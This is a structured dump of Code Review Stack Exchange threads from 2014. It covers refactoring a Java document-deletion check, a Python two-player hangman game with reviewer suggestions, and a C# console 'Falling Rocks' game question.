"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T16:14:27.563",
"Id": "82785",
"Score": "0",
"body": "Thank you Flambino for you anwser! First, about the english grammar, we use to pay attention on it but we actually are a french team so we often make this kind of mistakes."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T16:20:12.723",
"Id": "82786",
"Score": "0",
"body": "The solution with STI would actually be more complex because we need the user to \"have many\" payment types. He could for example have 2 credit cards and 1 BIC.\nTo me, it means that we would have to make a \"payment\" class, associated to user. Then, make two classes (cc and bic) inherited from \"payment\". That's why we choose the current solution and wondered if it is viable or not."
},
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T18:54:47.250",
"Id": "82813",
"Score": "0",
"body": "@Jejekeny Ah, I thought there'd be only one form of payment per user. Anyway, I'd say your solution is fine. Again: It really depends on how much a `Bic` and a `CreditCard` record have in common"
}
],
"meta_data": {
"CommentCount": "3",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:58:33.263",
"Id": "47245",
"ParentId": "47234",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "47245",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:13:19.813",
"Id": "47234",
"Score": "0",
"Tags": [
"ruby",
"ruby-on-rails",
"classes"
],
"Title": "Managing several payment means in my Rails 3.2 app"
} | 47234 |
<p>My code looks like this:</p>
<pre><code>public void checkIfCanDelete() throws BusinessException {
boolean canDelete = canDelete();
if (canDelete) {
checkIfLocked();
if(!editable) {
throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);
}
return;
}
if (newDoc) {
throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_NEW_DOCUMENT);
}
if (getSetting().isExcludedFromDeploy()) {
throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_READ_ONLY_DOCUMENT);
}
checkIfLocked();
// Default Message:
throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);
}
</code></pre>
<p>In my case if <code>canDelete</code> is true, then I have to call <code>checkIFLocked</code> and <code>throw exception</code> if not editable.</p>
<p>Here I think that I have a duplicate code witch is throwing the same exception, or I did called the same method twice in the same method block, which is <code>checkIfLocked</code>.</p>
<p>So is there any way to enhance this code block? Do I need to call the same method twice in the same method block?</p>
| [] | [
{
"body": "<p>right here:</p>\n\n<pre><code>boolean canDelete = canDelete();\n\nif (canDelete) {\n\n checkIfLocked();\n\n if(!editable) {\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n }\n\n return;\n}\n</code></pre>\n\n<p>you can remove the Boolean variable and code it like this</p>\n\n<pre><code>if (canDelete()) {\n checkIfLocked();\n if(!editable) {\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n }\n return;\n}\n</code></pre>\n\n<p>if the return value of the function is a <code>boolean</code> you should be able to just call the function inside the expression of the if statement.</p>\n\n<p>that is the only thing that I could see.</p>\n\n<p>I don't know what <code>checkIfLocked()</code> does, it would be nice to see that as well. </p>\n\n<hr>\n\n<p>I don't know what all <code>checkIfLocked()</code> and <code>canDelete()</code> do, but I would imagine that you should just have <code>checkIfLocked()</code> inside of your <code>canDelete()</code> function and eliminate the call to it from this <code>checkIfCanDelete()</code> Method. </p>\n\n<p><strong>If it's locked you can't delete it right?</strong></p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T14:28:29.660",
"Id": "47249",
"ParentId": "47239",
"Score": "3"
}
},
{
"body": "<p>I agree, with Malachi by moving the variable to the <code>if</code> statement, since its not being used anywhere else.</p>\n\n<p>If they are both performing a <code>checkIfLocked()</code> on the file, wouldn't it be better to perform this first, then continue one with the other checks?</p>\n\n<pre><code> public void checkIfCanDelete() throws BusinessException {\n\n checkIfLocked();\n\n if (canDelete()) {\n if(!editable) {\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n }\n return;\n }\n\n if (newDoc) {\n throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_NEW_DOCUMENT);\n } else if (getSetting().isExcludedFromDeploy()) {\n throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_READ_ONLY_DOCUMENT);\n }\n\n // Default Message:\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n }\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:21:20.310",
"Id": "82783",
"Score": "0",
"body": "Updated the code by remove the 2 elses"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:06:05.500",
"Id": "47252",
"ParentId": "47239",
"Score": "4"
}
},
{
"body": "<p>I assume that <code>checkIfLocked()</code> returns <code>void</code>, and throws a <code>BusinessException</code> if the document is locked.</p>\n\n<p>There is one way to succeed, and many ways to fail. I think it would be beneficial to rearrange the code to make it obvious what the criteria for success are:</p>\n\n<pre><code>public void checkIfCanDelete() throws BusinessException {\n if (editable && canDelete()) {\n checkIfLocked();\n return; // Can delete\n }\n\n // Can't delete. We just have to choose a reason for the denial.\n if (canDelete()) {\n assert !editable;\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n } else if (newDoc) {\n throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_NEW_DOCUMENT);\n } else if (getSetting().isExcludedFromDeploy()) {\n throw new BusinessException(BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_READ_ONLY_DOCUMENT);\n }\n checkIfLocked();\n throw new BusinessException(BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS);\n}\n</code></pre>\n\n<p>The code above preserves the same logic as the original. However, if you're not picky about which reason you pick for the denial, you could simplify the code further:</p>\n\n<pre><code>public void checkIfCanDelete() throws BusinessException {\n checkIfLocked();\n\n if (!(editable && canDelete())) {\n throw new BusinessException(\n newDoc ?\n BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_NEW_DOCUMENT :\n getSetting().isExcludedFromDeploy() ?\n BusinessException.MSG_DOCUMENT_CANNOT_DELETE_A_READ_ONLY_DOCUMENT :\n BusinessError.MSG_YOU_ARE_NOT_AUTHORIZED_TO_REMOVE_DOCUMENTS;\n );\n }\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T16:33:21.970",
"Id": "47258",
"ParentId": "47239",
"Score": "7"
}
}
] | {
"AcceptedAnswerId": "47258",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:45:59.167",
"Id": "47239",
"Score": "10",
"Tags": [
"java",
"optimization"
],
"Title": "Checking to see whether a document can be deleted"
} | 47239 |
<p>This is a follow-up: <a href="https://codereview.stackexchange.com/q/43318/37981">Python Hangman Program</a></p>
<p>I'm working on adding a few features to my hangman game, and I just implemented two-player gameplay, in the form of one player chooses the word to be guessed while the other player guesses said word.</p>
<p>I got it to work in my program, but I feel like how I did it is a bit messy since it has largely the same code between two if statements but I'm not sure how to avoid this. You'll see it in my main function, down near the bottom of the program.</p>
<p>Any other thoughts on the program are appreciated.</p>
<pre><code>#!/usr/bin/env python
# coding=utf-8
# <Omitted GPLv3 for code review>
import sys, random, os
if sys.version_info.major < 3:
# Compatibility shim
input = raw_input
class Gallows(object):
def __init__(self):
'''Visual of the game.'''
self.wrongGuesses = 0
self.image = ''
self.states = [
[
'\t _______ ',
'\t | | ',
'\t | ',
'\t | ',
'\t | ',
'\t | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t | ',
'\t | ',
'\t | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t | | ',
'\t | | ',
'\t | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t \| | ',
'\t | | ',
'\t | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t \|/ | ',
'\t | | ',
'\t | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t \|/ | ',
'\t | | ',
'\t / | ',
'\t________|_',
],
[
'\t _______ ',
'\t | | ',
'\t O | ',
'\t \|/ | ',
'\t | | ',
'\t / \ | ',
'\t________|_',
]
]
def get_image(self):
'''Sets the current visual being used.'''
self.image = '\n'.join(self.states[self.wrongGuesses])
return self.image
def increment_count(self):
try:
self.wrongGuesses += 1
self.states[self.wrongGuesses]
except IndexError:
return False
class Wordlist(object):
def __init__(self, wordfile):
'''Set the length of the wordlist'''
self.wordlist = wordfile
self.numLines = 0
# Get number of lines without placing entire wordlist in memory
with open(self.wordlist) as file:
for line in file:
self.numLines += 1
def new_word(self):
'''Choose a new word to be guessed'''
stopNum = random.randint(0, self.numLines-1)
# extract word from file
with open(self.wordlist) as file:
for x, line in enumerate(file):
if x == stopNum:
return line.lower().strip()
def create_blanks(word):
'''Create blanks for each letter in the word.'''
blanks = []
for letter in word:
# Don't hide hyphens
if letter == '-':
blanks += '-'
else:
blanks += '_'
return blanks
def check_letter(word, guess, blanks, used):
missed = False
if guess.isalpha() == False:
input("You have to guess a letter, silly!")
elif len(list(guess)) > 1:
input("You can't guess more than one letter at a time, silly!")
elif guess in used:
input("You already tried that letter, silly!")
elif guess in word:
for index, char in enumerate(word):
if char == guess:
blanks[index] = guess
used += guess
else: # If guess is wrong
used += guess
missed = True
return blanks, used, missed
def endgame(won, word):
print ('')
if won:
print("Congratulations, you win!")
print("You correctly guessed the word '%s'!" % word)
else:
print("Nice try! Your word was '%s'." % word)
return won
def play_again():
while True:
play_again = input("Play again? [y/n] ")
if 'y' in play_again.lower():
return True
elif 'n' in play_again.lower():
return False
else:
print("Huh?")
def game(word):
'''Play one game of Hangman for the given word.
Returns True if the player wins, False if the player loses.'''
gallows = Gallows()
blanks = create_blanks(word)
used = []
while 1 == 1:
new_page()
print(gallows.get_image())
print(' '.join(blanks))
print(' '.join(used))
guess = input("Guess a letter: ")
blanks, used, missed = check_letter(word, guess, blanks, used)
if blanks == list(word):
return endgame(True, word)
elif missed:
if gallows.increment_count() == False:
return endgame(False, word)
def new_page():
'''Clears the window.'''
os.system('cls' if os.name == 'nt' else 'clear')
class _Getch(object):
"""Gets a single character from standard input. Does not echo to the screen."""
def __init__(self):
try:
self.impl = _GetchWindows()
except ImportError:
self.impl = _GetchUnix()
def __call__(self): return self.impl()
class _GetchUnix(object):
def __init__(self):
import tty, sys
def __call__(self):
import sys, tty, termios
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
try:
tty.setraw(sys.stdin.fileno())
ch = sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
return ch
class _GetchWindows(object):
def __init__(self):
import msvcrt
def __call__(self):
import msvcrt
return msvcrt.getch()
menu = '''
─────────────────────────────────────────────────────────────────
| PyHangman |
|─────────────────────────────────────────────────────────────────|
| Press "q" to quit. |
| Press "n" to to start a new game. |
| Press "h" for help with playing Hangman. |
| Press "i" to display info about this program. |
|- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -|
| In-game controls: |
| <Enter> - Input a letter |
───────────────────────────────────────────────────────────────── '''
player_menu = '''
─────────────────────────────────────────────────────────────────
| How many players? |
|─────────────────────────────────────────────────────────────────|
| Press "1" for 1 player. |
| Press "2" for 2 player. |
───────────────────────────────────────────────────────────────── '''
program_info = '''
─────────────────────────────────────────────────────────────────
| PyHangman (ver. 1.4) |
| (C) 2014 Alden Davidson <davidsonalden@gmail.com> |
|─────────────────────────────────────────────────────────────────|
| PyHangman is a hangman game I wrote in python to practice my |
| python skills as I began learning the language. This code is |
| licensed under the GPLv3, so feel free to use it, share it, |
| study it, and modify it as long as you adhere to the GPLv3; See |
| the source code for more information. Send all questions to the |
| email listed above. |
|- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -|
| Press <Enter> to return to the Main Menu |
─────────────────────────────────────────────────────────────────
'''
game_info = '''
─────────────────────────────────────────────────────────────────
| Hangman Rules and Instructions |
|─────────────────────────────────────────────────────────────────|
| Objective: Guess the word before the man is hanged. |
| Gameplay: Guess letters, one at a time, to guess the hidden |
| word. Every time you guess incorrectly, another body |
| part will be added, until the whole man is in the |
| gallows; if you guess incorrectly again you will |
| lose the game. |
|- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -|
| Press <Enter> to return to the Main Menu |
─────────────────────────────────────────────────────────────────
'''
def main(wordfile='wordlist.txt'):
wordlist = Wordlist(wordfile)
getch = _Getch()
while True:
new_page()
print(menu)
user_input = getch()
if user_input.lower() == 'q':
new_page()
print('Goodbye!')
break
elif user_input.lower() == 'n':
new_page()
print(player_menu)
players = getch()
if players == '1':
while True:
game(wordlist.new_word())
if not play_again():
break
elif players == '2':
while True:
new_page()
word = input("Player 1, enter the word to be guessed:\n")
game(word)
if not play_again():
break
elif user_input.lower() == 'h':
new_page()
input(game_info)
elif user_input.lower() == 'i':
new_page()
input(program_info)
if __name__ == '__main__':
try:
main(sys.argv[1])
except IndexError:
main()
</code></pre>
| [] | [
{
"body": "<p>One thing I would definitely change is the return type on functions like <code>increment_count</code>.\nYou don't want to leave a situation where the returns aren't logical... ie) in most cases, all possible return values of a function should return a consistent amount of variables, and have consistent types.</p>\n\n<pre><code>def increment_count(self):\n try:\n self.wrongGuesses += 1\n self.states[self.wrongGuesses]\n except IndexError:\n return False\n</code></pre>\n\n<p>If this function hits an IndexError, it returns <code>False</code> otherwise it returns <code>None</code> by default. This makes code confusing and hard to maintain, seeing as most users would expect all cases to return booleans.</p>\n\n<p>For example, its not standard to write lines like <code>if gallows.increment_count() == False:</code>, the proper style for evaluating a false boolean is: </p>\n\n<pre><code>if not gallows.increment_count():\n</code></pre>\n\n<p>However, in your code this will make the condition always evaluate to true, considering <code>None</code> evaluates as false,. ie)</p>\n\n<pre><code>>>> print not None and not False\nTrue\n</code></pre>\n\n<p>So I would change the original function to something like bellow, such that you can evaluate the condition like above without worry of errors/bugs.</p>\n\n<pre><code>def increment_count(self):\n try:\n self.wrongGuesses += 1\n self.states[self.wrongGuesses]\n except IndexError:\n return False\n return True\n\n...\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T15:55:51.093",
"Id": "47256",
"ParentId": "47240",
"Score": "5"
}
},
{
"body": "<p><a href=\"https://codereview.stackexchange.com/users/39311/calpratt\">@Calpratt</a> spot the most important issue I think. I can only add nitpicks.</p>\n\n<hr>\n\n<p>Instead of:</p>\n\n<pre><code>if guess.isalpha() == False:\n</code></pre>\n\n<p>should be:</p>\n\n<pre><code>if not guess.isalpha():\n</code></pre>\n\n<hr>\n\n<p>It seems you can delete <code>_GetchUnix.__init__</code> because you're importing <code>tty, sys</code> in <code>__call__</code> anyway.</p>\n\n<hr>\n\n<p>The <code>pep8</code> tool finds some Python style violations. You might want to fix those. (<a href=\"http://legacy.python.org/dev/peps/pep-0008/\" rel=\"nofollow noreferrer\">The docs of PEP8</a>.)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:22:05.407",
"Id": "82795",
"Score": "1",
"body": "I'll definitely have to take a look at that, should help me cover some of the simple issues I have with my program to begin with!"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T16:34:41.137",
"Id": "47259",
"ParentId": "47240",
"Score": "2"
}
},
{
"body": "<p>First of all, as pointed out by the other answers, you should try to follow <a href=\"http://legacy.python.org/dev/peps/pep-0008/\" rel=\"nofollow\">PEP 8</a>, the usually accepted style guide for Python. You can find tools to check your code automatically. You can find <a href=\"http://pep8online.com/s/VzDVPwaV\" rel=\"nofollow\">here</a> the results for your code. Some points look like tiny details, some are more important, good thing is that all of them are easy to fix so you might as well do it :-)</p>\n\n<p>Now, let's have a look at other things you could improve :</p>\n\n<p><strong>The Gallows class</strong></p>\n\n<p>Here is a nice little class, it has a constructor it keeps a state, update it and return meaningful information to anyone wanting it. Also, its name was a good chance for me to improve my vocabulary. However, I am not quite sure it deserves to be a class.</p>\n\n<p>First thing,let's have a look at the three attributes :</p>\n\n<ul>\n<li><p><code>self.states</code> is a list of ASCII art drawings that won't be updated. Also, its content will be the same for all instances of <code>Gallows</code>. We don't need to have this repeated for all instances, do we ? We could make this a constant and move it out of the scope of the class.</p></li>\n<li><p><code>self.wrongGuesses</code> is the number of wrong guesses so far. It looks pretty good.</p></li>\n<li><p><code>self.image</code> is a piece of drawing retrieved from <code>self.states</code>. Actually, it is the piece of drawing at index <code>self.wrongGuesses</code>. Because we have no good reason (as in performance), we might want to get rid of a piece of duplicated information : the number of wrong guesses in itself should be enough.</p></li>\n</ul>\n\n<p>At the end, we have a class with a single integer attribute with no really smart logic around it (no offense), the whole thing could become :</p>\n\n<pre><code>GALLOWS_ASCII_ARTS = ['...', ..., '...']\ndef get_gallows_ascii_art(number_of_guesses):\n '''Get the current visual to use.'''\n return '\\n'.join(GALLOWS_ASCII_ARTS[number_of_guesses])\n</code></pre>\n\n<p>Please note that I have taken the freedom to remove the try/catch. It something goes wrong, we'll notice more quickly and its close to the \"keep it simple principle\".</p>\n\n<p>Now, I am not entirely done with this. Indeed, the <code>join</code> on the elements of <code>GALLOWS_ASCII_ARTS</code> could be done once and for all by doing it as you build the list.</p>\n\n<p>If you have found this comment interesting, you might like this <a href=\"https://www.youtube.com/watch?v=o9pEzgHorH0\" rel=\"nofollow\">talk</a>.</p>\n\n<p><strong>The def create_blanks(word) function</strong>`</p>\n\n<p>You can rewrite your function with list comprehension :</p>\n\n<pre><code>def create_blanks(word):\n '''Create blanks for each letter in the word.'''\n blanks = []\n\n for letter in word:\n # Don't hide hyphens\n if letter == '-':\n blanks += '-'\n else:\n blanks += '_'\n return blanks\n</code></pre>\n\n<p>becomes </p>\n\n<pre><code>def create_blanks(word):\n '''Create blanks for each letter in the word.'''\n blanks = []\n for letter in word:\n # Don't hide hyphens\n blanks+= ('-' if letter == '-' else '_')\n return blanks\n</code></pre>\n\n<p>which becomes :</p>\n\n<pre><code>def create_blanks(word):\n '''Create blanks for each letter in the word.'''\n blanks = ['-' if letter == '-' else '_' for letter in word]\n</code></pre>\n\n<p><strong>The def check_letter(word, guess, blanks, used) function</strong></p>\n\n<p>This function gets an unguessed letter from the user and updates <code>blanks</code>. To keep things maintainable, it should do only one thing. Also, it could be a good idea to make the <code>guess = input(\"Guess a letter: \")</code> part of the function checking the input.</p>\n\n<p>For instance something like :</p>\n\n<pre><code>def get_valid_guess_from_user(used):\n while True:\n guess = input(\"Guess a letter: \")\n if not guess.isalpha():\n input(\"You have to guess a letter, silly!\")\n elif len(guess) != 1:\n input(\"You can't guess more than one letter at a time, silly!\")\n elif guess in used:\n input(\"You already tried that letter, silly!\")\n return guess\n</code></pre>\n\n<p>Please note that I took this chance to remove a useless call to <code>list</code> and to remove the comparison to <code>False</code>.</p>\n\n<p><strong>The def game(word) function</strong></p>\n\n<p>Because I got rid of the <code>gallows</code> class here, we have to keep track of the number of wrong guesses. Different strategies here :</p>\n\n<ul>\n<li><p>because we want to track already used letters, we might just rely on the numbr of used letters : if you do this, you have not to consider \"correct\" letters as used.</p></li>\n<li><p>have a simple counter you increment.</p></li>\n</ul>\n\n<p>In any case, instead of storing used letters in a list, you should probably use a set because the order does not matter and letters will not appear more than once.</p>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T17:05:20.200",
"Id": "47262",
"ParentId": "47240",
"Score": "2"
}
}
] | {
"AcceptedAnswerId": "47256",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 3.0",
"CreationDate": "2014-04-15T13:46:14.393",
"Id": "47240",
"Score": "8",
"Tags": [
"python",
"game",
"python-2.x",
"hangman"
],
"Title": "2-player in a Python hangman game"
} | 47240 |
<p>I have implemented the Falling rocks game in C#. The instructions are simple: Don't get hit by rocks. The game is running quite well, however there are some bugs that occur and furthermore, I would like to receive advice whether I could make the code less complicated if possible.</p>
<pre><code>using System;
using System.Collections;
using System.Collections.Generic;
using System.Linq;
using System.Threading;
// a structure to make life easier
struct Object
{
public int x;
public int y;
public char ch;
public ConsoleColor color;
}
class Program
{
// in order to print characters on certain positions
static void PrintOnPosition(int col, int row, char ch,
ConsoleColor color = ConsoleColor.Gray)
{
Console.SetCursorPosition(col, row);
Console.ForegroundColor = color;
Console.Write(ch);
}
// in order to print strings on certain positions
static void PrintStringOnPosition(int col, int row, string str,
ConsoleColor color = ConsoleColor.Gray)
{
Console.SetCursorPosition(col, row);
Console.ForegroundColor = color;
Console.Write(str);
}
static void Main()
{
// Some properties and variables to be used
Console.CursorVisible = false;
Console.BufferHeight = Console.WindowHeight = 18;
Console.WindowWidth = 20;
Console.BufferWidth = 20;
Random randomGenerator = new Random();
double sleeptime = 200;
double score = 0;
int lives = 5;
// constructing the dwarf elements "(O)"
Object DwarfLeft = new Object();
DwarfLeft.x = 9;
DwarfLeft.y = Console.WindowHeight - 1;
DwarfLeft.ch = '(';
DwarfLeft.color = ConsoleColor.Gray;
Object DwarfCenter = new Object();
DwarfCenter.x = 10;
DwarfCenter.y = Console.WindowHeight - 1;
DwarfCenter.ch = 'O';
DwarfCenter.color = ConsoleColor.Gray;
Object DwarfRight = new Object();
DwarfRight.x = 11;
DwarfRight.y = Console.WindowHeight - 1;
DwarfRight.ch = ')';
DwarfRight.color = ConsoleColor.Gray;
List<Object> Rocks = new List<Object>();
// Writing the instructions at the start of the game
PrintStringOnPosition(0, 5, " The aim of the game is to avoid all the rocks. Good luck!", ConsoleColor.Yellow);
PrintStringOnPosition(0, 9, "Pick", ConsoleColor.Yellow);
PrintOnPosition(5, 9, (char)3, ConsoleColor.Red);
PrintStringOnPosition(7, 9, "for lives", ConsoleColor.Yellow);
PrintStringOnPosition(0, 10, "Pick", ConsoleColor.Yellow);
PrintOnPosition(5, 10, '$', ConsoleColor.Green);
PrintStringOnPosition(7, 10, "for money", ConsoleColor.Yellow);
PrintStringOnPosition(5, 13, "Good luck!", ConsoleColor.Red);
PrintOnPosition(17, 0, ' ', ConsoleColor.Black);
Console.ReadLine();
Console.Clear();
// making the lines of play
for (int i = 0; i <= Console.WindowWidth - 1; i++)
{
PrintOnPosition(i, 4, '_', ConsoleColor.White);
}
while (true)
{
// The bool values in case we get hit. They are different for the parts of the dwarf elements
bool hit = false;
bool hitleft = false;
bool hitcenter = false;
bool hitright = false;
// the chance is for making bonuses from time to time
int chance = randomGenerator.Next(0, 100);
{
Object NewRock = new Object();
NewRock.x = randomGenerator.Next(0, 19);
NewRock.y = 5;
if (chance < 1)
{
// It's a heart character
NewRock.ch = (char)3;
NewRock.color = ConsoleColor.Red;
}
else if (chance < 10)
{
NewRock.ch = '$';
NewRock.color = ConsoleColor.Green;
}
else if (chance < 100)
{
NewRock.ch = '@';
NewRock.color = ConsoleColor.Cyan;
}
Rocks.Add(NewRock);
}
//moving the dwarf
if (Console.KeyAvailable)
{
ConsoleKeyInfo userInput = Console.ReadKey();
// In order to avoid the moving bug (If numerous keys are pressed, the program will execute each one)
while (Console.KeyAvailable)
{
Console.ReadKey(true);
}
if (userInput.Key == ConsoleKey.LeftArrow && DwarfLeft.x > 0)
{
PrintOnPosition(DwarfLeft.x, DwarfLeft.y, ' ', DwarfLeft.color);
PrintOnPosition(DwarfCenter.x, DwarfCenter.y, ' ', DwarfCenter.color);
PrintOnPosition(DwarfRight.x, DwarfRight.y, ' ', DwarfRight.color);
DwarfLeft.x = DwarfLeft.x - 1;
DwarfCenter.x = DwarfCenter.x - 1;
DwarfRight.x = DwarfRight.x - 1;
}
if (userInput.Key == ConsoleKey.RightArrow && DwarfRight.x < Console.WindowWidth - 1)
{
PrintOnPosition(DwarfLeft.x, DwarfLeft.y, ' ', DwarfLeft.color);
PrintOnPosition(DwarfCenter.x, DwarfCenter.y, ' ', DwarfCenter.color);
PrintOnPosition(DwarfRight.x, DwarfRight.y, ' ', DwarfRight.color);
DwarfLeft.x = DwarfLeft.x + 1;
DwarfCenter.x = DwarfCenter.x + 1;
DwarfRight.x = DwarfRight.x + 1;
}
}
PrintOnPosition(DwarfLeft.x, DwarfLeft.y, DwarfLeft.ch, DwarfLeft.color);
PrintOnPosition(DwarfCenter.x, DwarfCenter.y, DwarfCenter.ch, DwarfCenter.color);
PrintOnPosition(DwarfRight.x, DwarfRight.y, DwarfRight.ch, DwarfRight.color);
// The new list is made in order to add the next position of the rock which is y + 1. Thus making it fall
List<Object> newList = new List<Object>();
for (int i = 0; i < Rocks.Count; i++)
{
Object oldRock = Rocks[i];
Object newObject = new Object();
newObject.x = oldRock.x;
newObject.y = oldRock.y + 1;
newObject.ch = oldRock.ch;
newObject.color = oldRock.color;
// check if we get hit
if ((newObject.x == DwarfLeft.x && newObject.y == DwarfLeft.y && newObject.ch == '@'))
{
hit = true;
hitleft = true;
}
else if ((newObject.x == DwarfCenter.x && newObject.y == DwarfCenter.y && newObject.ch == '@'))
{
hit = true;
hitcenter = true;
}
else if (newObject.x == DwarfRight.x && newObject.y == DwarfRight.y && newObject.ch == '@')
{
hit = true;
hitright = true;
}
// money
else if (newObject.x == DwarfLeft.x && newObject.y == DwarfLeft.y && newObject.ch == '$')
{
score += 500;
}
else if (newObject.x == DwarfCenter.x && newObject.y == DwarfCenter.y && newObject.ch == '$')
{
score += 500;
}
else if (newObject.x == DwarfRight.x && newObject.y == DwarfRight.y && newObject.ch == '$')
{
score += 500;
}
// lives
else if (newObject.x == DwarfLeft.x && newObject.y == DwarfLeft.y && newObject.ch == (char)3)
{
lives += 1;
}
else if (newObject.x == DwarfCenter.x && newObject.y == DwarfCenter.y && newObject.ch == (char)3)
{
lives += 1;
}
else if (newObject.x == DwarfRight.x && newObject.y == DwarfRight.y && newObject.ch == (char)3)
{
lives += 1;
}
// Add the new object in the newList until it reaches the end of the screen
if (newObject.y < Console.WindowHeight)
{
newList.Add(newObject);
}
}
// consequences for being hit
if (hit == true)
{
// checks if you have 1 live left. Else the game will continue until you reach -1 lives
if (lives < 2)
{
PrintStringOnPosition(0, 0, "GAME OVER!", ConsoleColor.Red);
// We print the X in order to see the place of casualty
if (hitleft == true)
{
PrintOnPosition(DwarfLeft.x, DwarfLeft.y, 'X', ConsoleColor.Red);
}
else if (hitcenter == true)
{
PrintOnPosition(DwarfCenter.x, DwarfCenter.y, 'X', ConsoleColor.Red);
}
else if (hitright == true)
{
PrintOnPosition(DwarfRight.x, DwarfRight.y, 'X', ConsoleColor.Red);
}
PrintOnPosition(17, 0, ' ', ConsoleColor.Black);
Console.ReadLine();
PrintStringOnPosition(0, 0, @" ", ConsoleColor.Red);
return;
}
// Print an X on the hit position
if (hitleft == true)
{
PrintOnPosition(DwarfLeft.x, DwarfLeft.y, 'X', ConsoleColor.Red);
}
else if (hitcenter == true)
{
PrintOnPosition(DwarfCenter.x, DwarfCenter.y, 'X', ConsoleColor.Red);
}
else if (hitright == true)
{
PrintOnPosition(DwarfRight.x, DwarfRight.y, 'X', ConsoleColor.Red);
}
// If we still have lives, the game continues
PrintStringOnPosition(0, 0, "Press enter", ConsoleColor.Red);
// this is made in order to avoid a bug in which when you press some letter, it prints it on the console
// on the last position the cursor was
PrintOnPosition(17, 0, ' ', ConsoleColor.Black);
Console.ReadLine();
// Clear the positions of the old objects
PrintStringOnPosition(0, 0, @" ", ConsoleColor.Red);
foreach (Object rock in Rocks)
{
PrintOnPosition(rock.x, rock.y, ' ', ConsoleColor.Black);
}
Rocks.Clear();
newList.Clear();
// Consequences
lives--;
sleeptime += 20;
}
// This basically makes the rocks move. The idea is - Clear the old rocks and make the new ones
foreach (Object rock in Rocks)
{
PrintOnPosition(rock.x, rock.y, ' ', ConsoleColor.Black);
}
// The object Rocks takes the value of the new list which contains the positions of the new rocks
Rocks = newList;
foreach (Object rock in Rocks)
{
PrintOnPosition(rock.x, rock.y, rock.ch, rock.color);
}
// The score and lives
PrintStringOnPosition(7, 2, "Score: " + (int)score, ConsoleColor.Cyan);
PrintStringOnPosition(7, 3, "Lives: " + lives, ConsoleColor.Yellow);
// Making the score increase and the speed of the game increase constantly
score += 14.66;
sleeptime -= 0.5;
if (sleeptime < 100)
{
sleeptime = 100;
}
if (sleeptime > 200)
{
sleeptime = 200;
}
// Set the speed of the program
Thread.Sleep((int)sleeptime);
}
}
}
</code></pre>
<p>The problem is that the speed of the dwarf is the same as the game speed. How can I make it constant throughout the game? Furthermore, if the position of the dwarf reaches the end of the window to the right, it bounces up as well as the buffer.</p>
| [] | [
{
